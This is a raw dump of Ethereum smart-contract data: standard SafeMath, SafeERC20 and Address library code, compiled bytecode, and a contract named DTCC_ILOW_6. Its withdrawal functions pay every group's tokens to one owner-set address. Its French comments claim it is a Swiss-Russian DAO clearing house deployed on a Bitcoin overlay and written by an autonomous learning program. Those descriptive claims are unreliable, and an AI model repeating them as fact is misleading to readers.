'SafeERC20: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, 'SafeERC20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed'); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806392bf2be01161007157806392bf2be0146101245780639d23d9f21461014a578063abfd531014610208578063b3596f07146102c6578063e19f4700146102ec578063f2fde38b146102f4576100a9565b8063170aee73146100ae5780636210308c146100d6578063715018a6146100fa5780638c89b64f146101025780638da5cb5b1461011c575b600080fd5b6100d4600480360360208110156100c457600080fd5b50356001600160a01b031661031a565b005b6100de61037e565b604080516001600160a01b039092168252519081900360200190f35b6100d461038d565b61010a61042f565b60408051918252519081900360200190f35b6100de610453565b6100de6004803603602081101561013a57600080fd5b50356001600160a01b0316610462565b6101b86004803603602081101561016057600080fd5b810190602081018135600160201b81111561017a57600080fd5b82018360208201111561018c57600080fd5b803590602001918460208302840111600160201b831117156101ad57600080fd5b509092509050610483565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101f45781810151838201526020016101dc565b505050509050019250505060405180910390f35b6100d46004803603604081101561021e57600080fd5b810190602081018135600160201b81111561023857600080fd5b82018360208201111561024a57600080fd5b803590602001918460208302840111600160201b8311171561026b57600080fd5b919390929091602081019035600160201b81111561028857600080fd5b82018360208201111561029a57600080fd5b803590602001918460208302840111600160201b831117156102bb57600080fd5b509092509050610520565b61010a600480360360208110156102dc57600080fd5b50356001600160a01b03166105eb565b6100de6107ec565b6100d46004803603602081101561030a57600080fd5b50356001600160a01b0316610810565b610322610908565b6000546001600160a01b03908116911614610372576040805162461bcd60e51b81526020600482018190526024820152600080516020610ac2833981519152604482015290519081900360640190fd5b61037b8161090c565b50565b6002546001600160a01b031690565b610395610908565b6000546001600160a01b039081169116146103e5576040805162461bcd60e51b81526020600482018190526024820152600080516020610ac2833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b7f0000000000000000000000000000000000000000000000000000000005f5e10081565b6000546001600160a01b031690565b6001600160a01b03808216600090815260016020526040902054165b919050565b6060808267ffffffffffffffff8111801561049d57600080fd5b506040519080825280602002602001820160405280156104c7578160200160208202803683370190505b50905060005b83811015610518576104f98585838181106104e457fe5b905060200201356001600160a01b03166105eb565b82828151811061050557fe5b60209081029190910101526001016104cd565b509392505050565b610528610908565b6000546001600160a01b03908116911614610578576040805162461bcd60e51b81526020600482018190526024820152600080516020610ac2833981519152604482015290519081900360640190fd5b6105e58484808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152505060408051602080880282810182019093528782529093508792508691829185019084908082843760009201919091525061095692505050565b50505050565b6001600160a01b038082166000818152600160205260408120549092908116917f00000000000000000000000010f7fc1f91ba351f9c629c5947ad69bd03c05b96909116141561065e577f0000000000000000000000000000000000000000000000000000000005f5e10091505061047e565b6001600160a01b0381166106ee576002546040805163b3596f0760e01b81526001600160a01b0386811660048301529151919092169163b3596f07916024808301926020929190829003018186803b1580156106b957600080fd5b505afa1580156106cd573d6000803e3d6000fd5b505050506040513d60208110156106e357600080fd5b5051915061047e9050565b6000816001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561072957600080fd5b505afa15801561073d573d6000803e3d6000fd5b505050506040513d602081101561075357600080fd5b50519050600081131561076957915061047e9050565b6002546040805163b3596f0760e01b81526001600160a01b0387811660048301529151919092169163b3596f07916024808301926020929190829003018186803b1580156107b657600080fd5b505afa1580156107ca573d6000803e3d6000fd5b505050506040513d60208110156107e057600080fd5b5051925061047e915050565b7f00000000000000000000000010f7fc1f91ba351f9c629c5947ad69bd03c05b9681565b610818610908565b6000546001600160a01b03908116911614610868576040805162461bcd60e51b81526020600482018190526024820152600080516020610ac2833981519152604482015290519081900360640190fd5b6001600160a01b0381166108ad5760405162461bcd60e51b8152600401808060200182810382526026815260200180610a9c6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600280546001600160a01b0319166001600160a01b0383169081179091556040517fce7a780d33665b1ea097af5f155e3821b809ecbaa839d3b33aa83ba28168cefb90600090a250565b80518251146109ac576040805162461bcd60e51b815260206004820152601a60248201527f494e434f4e53495354454e545f504152414d535f4c454e475448000000000000604482015290519081900360640190fd5b60005b8251811015610a96578181815181106109c457fe5b6020026020010151600160008584815181106109dc57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818181518110610a3457fe5b60200260200101516001600160a01b0316838281518110610a5157fe5b60200260200101516001600160a01b03167f22c5b7b2d8561d39f7f210b6b326a1aa69f15311163082308ac4877db6339dc160405160405180910390a36001016109af565b50505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122016ae737167458804cacbf4d5290f03fa03aa61a29cd2512100698313af206b0464736f6c634300060c0033
[ 38 ]
0xf20e8eb78a8103c803d9f648704dfa1b8eab5782
pragma solidity ^0.4.21 ; interface IERC20Token { function totalSupply() public constant returns (uint); function balanceOf(address tokenlender) public constant returns (uint balance); function allowance(address tokenlender, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenlender, address indexed spender, uint tokens); } contract DTCC_ILOW_6 { address owner ; function DTCC_ILOW_6 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 ID = 1000 ; function setID ( uint256 newID ) public onlyOwner { ID = newID ; } function getID () public constant returns ( uint256 ) { return ID ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 ID_control = 1000 ; function setID_control ( uint256 newID_control ) public onlyOwner { ID_control = newID_control ; } function getID_control () public constant returns ( uint256 ) { return ID_control ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Cmd = 1000 ; function setCmd ( uint256 newCmd ) public onlyOwner { Cmd = newCmd ; } function getCmd () public constant returns ( uint256 ) { return Cmd ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Cmd_control = 1000 ; function setCmd_control ( uint256 newCmd_control ) public onlyOwner { Cmd_control = newCmd_control ; } function getCmd_control () public constant returns ( uint256 ) { return Cmd_control ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Depositary_function = 1000 ; function setDepositary_function ( uint256 newDepositary_function ) public onlyOwner { Depositary_function = newDepositary_function ; } function getDepositary_function () public constant returns ( uint256 ) { return Depositary_function ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 Depositary_function_control = 1000 ; function setDepositary_function_control ( uint256 newDepositary_function_control ) public onlyOwner { Depositary_function_control = newDepositary_function_control ; } function getDepositary_function_control () public constant returns ( uint256 ) { return Depositary_function_control ; } address public User_1 = msg.sender ; address public User_2 ;// _User_2 ; address public User_3 ;// _User_3 ; address public User_4 ;// _User_4 ; address public User_5 ;// _User_5 ; IERC20Token public Securities_1 ;// _Securities_1 ; IERC20Token public Securities_2 ;// _Securities_2 ; IERC20Token public Securities_3 ;// _Securities_3 ; IERC20Token public Securities_4 ;// _Securities_4 ; IERC20Token public Securities_5 ;// _Securities_5 ; uint256 public Standard_1 ;// _Standard_1 ; uint256 public Standard_2 ;// _Standard_2 ; uint256 public Standard_3 ;// _Standard_3 ; uint256 public Standard_4 ;// _Standard_4 ; uint256 public Standard_5 ;// _Standard_5 ; function Eligibility_Group_1 ( address _User_1 , IERC20Token _Securities_1 , uint256 _Standard_1 ) public onlyOwner { User_1 = _User_1 ; Securities_1 = _Securities_1 ; Standard_1 = _Standard_1 ; } function Eligibility_Group_2 ( address _User_2 , IERC20Token _Securities_2 , uint256 _Standard_2 ) public onlyOwner { User_2 = _User_2 ; Securities_2 = _Securities_2 ; Standard_2 = _Standard_2 ; } function Eligibility_Group_3 ( address _User_3 , IERC20Token _Securities_3 , uint256 _Standard_3 ) public onlyOwner { User_3 = _User_3 ; Securities_3 = _Securities_3 ; Standard_3 = _Standard_3 ; } function Eligibility_Group_4 ( address _User_4 , IERC20Token _Securities_4 , uint256 _Standard_4 ) public onlyOwner { User_4 = _User_4 ; Securities_4 = _Securities_4 ; Standard_4 = _Standard_4 ; } function Eligibility_Group_5 ( address _User_5 , IERC20Token _Securities_5 , uint256 _Standard_5 ) public onlyOwner { User_5 = _User_5 ; Securities_5 = _Securities_5 ; Standard_5 = _Standard_5 ; } // // function retrait_1 () public { require( msg.sender == User_1 ); require( Securities_1.transfer(User_1, Standard_1) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_2 () public { require( msg.sender == User_2 ); require( Securities_2.transfer(User_1, Standard_2) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_3 () public { require( msg.sender == User_3 ); require( Securities_3.transfer(User_1, Standard_3) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_4 () public { require( msg.sender == User_4 ); require( Securities_4.transfer(User_1, Standard_4) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_5 () public { require( msg.sender == User_5 ); require( Securities_5.transfer(User_1, Standard_5) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } // Descriptif 0 // Forme juridique « Organisation autonome et décentralisée » // Dénomination « LAKHTA-ZUG CONNECT » // Statut « D.A.O. » // Propriétaires & responsables implicites Le pool d’utilisateurs // Juridiction (i) Ville de Saint-Petersbourg, Fédération de Russie // Juridiction (ii) Ville et canton de Zoug / Zug, Confédération Hélvétique // instrument monétaire de référence (i) « ethrub » // instrument monétaire de référence (ii) « chfeth » // instrument monétaire de référence (iii) « ethbyn » // devise de référence (i) « RUB » // devise de référence (ii) « CHF » // devise de référence (iii) « BYN » // Date de déployement initiale 09/03/2017 // Environnement de déployement initial suite protocolaire sur-couche « 88.2 » blockchain BITCOIN // Objet principal (i) Gestion des activités post-marché // Objet principal (ii) Contrepartie centrale // Objet principal (iii) Garant // Objet principal (iv) Dépositaire // Objet principal (v) Teneur de compte // Objet principal (vi) « Chambre de compensation » // Objet principal (vii) Opérateur « règlement-livraison » // @ de communication additionnelle (i) 0xa24794106a6be5d644dd9ace9cbb98478ac289f5 // @ de communication additionnelle (ii) 0x8580dF106C8fF87911d4c2a9c815fa73CAD1cA38 // @ de publication additionnelle (protocole PP, i) 0xf7Aa11C7d092d956FC7Ca08c108a1b2DaEaf3171 // @ de publication additionnelle (protocole PP, ii) 0x2Eab17625B3040E02c97cE84bEBEEc8eFA703ce4 // Entité responsable du développement Programme d’apprentissage autonome « KYOKO » / MS (sign) // Entité responsable de l’édition Programme d’apprentissage autonome « KYOKO » / MS (sign) // Entité responsable deu déployement initial Programme d’apprentissage autonome « KYOKO » / MS (sign) }
0x6060604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630160751c146101d25780630a642d00146101f55780630fa356bd1461020a5780632dbce3901461026b5780634108a00b1461028e5780634afbb7d7146102ef5780635f8a3029146103185780636699d9cd14610341578063691f2216146103965780637055410b146103eb57806378238cf014610400578063882b4e68146104235780638bec683f14610478578063927d41ee146104a15780639eee578714610502578063a21a32cb1461052b578063ab9dbd0714610580578063adb1f00e146105a9578063b10c75441461060a578063b55459d114610633578063beb9571c14610688578063bebe4f6d146106dd578063c2a029f014610706578063c946f3af14610729578063cfa446ec14610752578063d51d4fa81461077b578063d70108a6146107d0578063dc5d184f146107f9578063e5b6b4fb1461081c578063eaeb83a214610871578063eb0eea61146108c6578063efbb5f171461091b578063f3acc06b14610930578063f3cee64d14610945578063f8e1746414610968578063fb5d5999146109c9578063ff9151dd146109f2575b600080fd5b34156101dd57600080fd5b6101f36004808035906020019091905050610a07565b005b341561020057600080fd5b610208610a6c565b005b341561021557600080fd5b610269600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c0a565b005b341561027657600080fd5b61028c6004808035906020019091905050610cf3565b005b341561029957600080fd5b6102ed600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d58565b005b34156102fa57600080fd5b610302610e41565b6040518082815260200191505060405180910390f35b341561032357600080fd5b61032b610e4b565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b610354610e51565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103a157600080fd5b6103a9610e77565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f657600080fd5b6103fe610e9d565b005b341561040b57600080fd5b610421600480803590602001909190505061103b565b005b341561042e57600080fd5b6104366110a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048357600080fd5b61048b6110c6565b6040518082815260200191505060405180910390f35b34156104ac57600080fd5b610500600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110d0565b005b341561050d57600080fd5b6105156111b9565b6040518082815260200191505060405180910390f35b341561053657600080fd5b61053e6111bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058b57600080fd5b6105936111e5565b6040518082815260200191505060405180910390f35b34156105b457600080fd5b610608600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111ef565b005b341561061557600080fd5b61061d6112d8565b6040518082815260200191505060405180910390f35b341561063e57600080fd5b6106466112e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561069357600080fd5b61069b611308565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106e857600080fd5b6106f061132e565b6040518082815260200191505060405180910390f35b341561071157600080fd5b6107276004808035906020019091905050611334565b005b341561073457600080fd5b61073c611399565b6040518082815260200191505060405180910390f35b341561075d57600080fd5b61076561139f565b6040518082815260200191505060405180910390f35b341561078657600080fd5b61078e6113a5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107db57600080fd5b6107e36113cb565b6040518082815260200191505060405180910390f35b341561080457600080fd5b61081a60048080359060200190919050506113d5565b005b341561082757600080fd5b61082f61143a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561087c57600080fd5b610884611460565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108d157600080fd5b6108d9611486565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561092657600080fd5b61092e6114ac565b005b341561093b57600080fd5b61094361164a565b005b341561095057600080fd5b61096660048080359060200190919050506117e8565b005b341561097357600080fd5b6109c7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061184d565b005b34156109d457600080fd5b6109dc611936565b6040518082815260200191505060405180910390f35b34156109fd57600080fd5b610a05611940565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6257600080fd5b8060058190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ac857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166013546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb057600080fd5b5af11515610bbd57600080fd5b505050604051805190501515610bd257600080fd5b600254600154141515610be457600080fd5b600454600354141515610bf657600080fd5b600654600554141515610c0857600080fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c6557600080fd5b82600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601181905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4e57600080fd5b8060068190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610db357600080fd5b82600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601581905550505050565b6000600554905090565b60145481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef957600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166015546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610fe157600080fd5b5af11515610fee57600080fd5b50505060405180519050151561100357600080fd5b60025460015414151561101557600080fd5b60045460035414151561102757600080fd5b60065460055414151561103957600080fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109657600080fd5b8060048190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112b57600080fd5b82600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601381905550505050565b60115481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600154905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124a57600080fd5b82600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601281905550505050565b6000600354905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138f57600080fd5b8060028190555050565b60135481565b60125481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143057600080fd5b8060018190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150857600080fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156115f057600080fd5b5af115156115fd57600080fd5b50505060405180519050151561161257600080fd5b60025460015414151561162457600080fd5b60045460035414151561163657600080fd5b60065460055414151561164857600080fd5b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116a657600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166011546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561178e57600080fd5b5af1151561179b57600080fd5b5050506040518051905015156117b057600080fd5b6002546001541415156117c257600080fd5b6004546003541415156117d457600080fd5b6006546005541415156117e657600080fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561184357600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118a857600080fd5b82600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601481905550505050565b6000600654905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561199c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166014546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611a8457600080fd5b5af11515611a9157600080fd5b505050604051805190501515611aa657600080fd5b600254600154141515611ab857600080fd5b600454600354141515611aca57600080fd5b600654600554141515611adc57600080fd5b5600a165627a7a72305820a3bf35d43aebe2ae2d7d697c65d6cc09372d26f55babe5f28dd37043896dae820029
[ 38 ]
0xf20eaeae0390803b1a7c8ab4c506870b81e1048e
